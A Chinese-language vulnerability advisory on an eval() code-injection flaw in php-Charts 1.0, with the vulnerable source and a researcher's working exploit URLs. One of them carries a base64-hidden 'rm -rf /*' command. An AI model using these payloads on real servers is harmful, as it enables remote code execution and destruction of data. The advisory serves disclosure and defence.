发布日期：2013-01-17
更新日期：2013-01-21

受影响系统：

php-Charts php-Charts 1.x

描述：

---

BUGTRAQ  ID: 57448

php-Charts是PHP图表和绘图组件，为Web应用呈现动态的、数据驱动的、HTML5图表。

php-Charts 1.0及其他版本没有正确验证 wizard/url.php 内的GET参数值，即用在 "eval()" 调用内，可被利用执行任意PHP代码。

<*来源：Akastep
  
  链接：http://packetstormsecurity.com/files/119582/PHP-Chart-1.0-Code-Execution.html
        http://secunia.com/advisories/51844/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Akastep （）提供了如下测试方法：
About vuln:


root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
<?php
        require("../lib/phpchart.class.php");
        $color_var=array("txt_col","line_col","bg_color");
        $cname=$_GET["type"];
        $chart=new PHPChart($cname);

        foreach($_GET as $key=>$value)
        {
                if($value!="")
                {
                        if(in_array($key,$color_var))
                        eval('$chart->'.$key.'="#'.$value.'";');
                        else if($value=='yes')
                        eval('$chart->'.$key.'=true;');
                        else if($value=='no')
                        eval('$chart->'.$key.'=false;');
                        else if(is_numeric($value))
                        eval('$chart->'.$key.'='.$value.';');
                        else
                        eval('$chart->'.$key."='".$value."';");
                }
        }
        $chart->genChart();




Exploitation:

root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
--2013-01-15 21:19:16--  http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”

    [ <=>                                                                                        ] 1,917       --.-K/s   in 0s

2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]


Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
  ["DOCUMENT_ROOT"]=>
  string(28) "/etc/apache2/htdocs/hacker1/"
  ["GATEWAY_INTERFACE"]=>
  string(7) "CGI/1.1"
  ["HTTP_ACCEPT"]=>
  string(3) "*/*"
  ["HTTP_CLIENT_IP"]=>
  string(9) "127.0.0.1"
  ["HTTP_HOST"]=>
  string(11) "hacker1.own"
  ["HTTP_USER_AGENT"]=>
  string(21) "Wget/1.12 (linux-gnu)"
  ["HTTP_VIA"]=>
  string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
  ["HTTP_X_FORWARDED_FOR"]=>
  string(9) "127.0.0.1"
  ["PATH"]=>
  string(4) "/bin"
  ["PHPRC"]=>
  string(14) "/etc/php5/cgi/"
  ["QUERY_STRING"]=>
  string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["REDIRECT_STATUS"]=>
  string(3) "200"
  ["REMOTE_ADDR"]=>
  string(9) "127.0.0.1"
  ["REMOTE_PORT"]=>
  string(5) "60830"
  ["REQUEST_METHOD"]=>
  string(3) "GET"
  ["REQUEST_URI"]=>
  string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["SCRIPT_FILENAME"]=>
  string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
  ["SCRIPT_NAME"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["SERVER_ADDR"]=>
  string(9) "127.0.0.1"
  ["SERVER_ADMIN"]=>
  string(21) "webmaster@hacker1.own"
  ["SERVER_NAME"]=>
  string(11) "hacker1.own"
  ["SERVER_PORT"]=>
  string(2) "80"
  ["SERVER_PROTOCOL"]=>
  string(8) "HTTP/1.1"
  ["SERVER_SIGNATURE"]=>
  string(0) ""
  ["SERVER_SOFTWARE"]=>
  string(6) "Apache"
  ["UNIQUE_ID"]=>
  string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
  ["PHP_SELF"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["REQUEST_TIME"]=>
  int(1358302756)
}

Notice: Undefined variable:  in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#


Example 2:

http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL

=====================ENDS HERE============================


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to all Aa Team + to all Azerbaijan Black HatZ
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Also special thanks to: ottoman38 & HERO_AZE
================================================

/AkaStep

建议：

---

厂商补丁：

php-Charts
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://phpchart.net/

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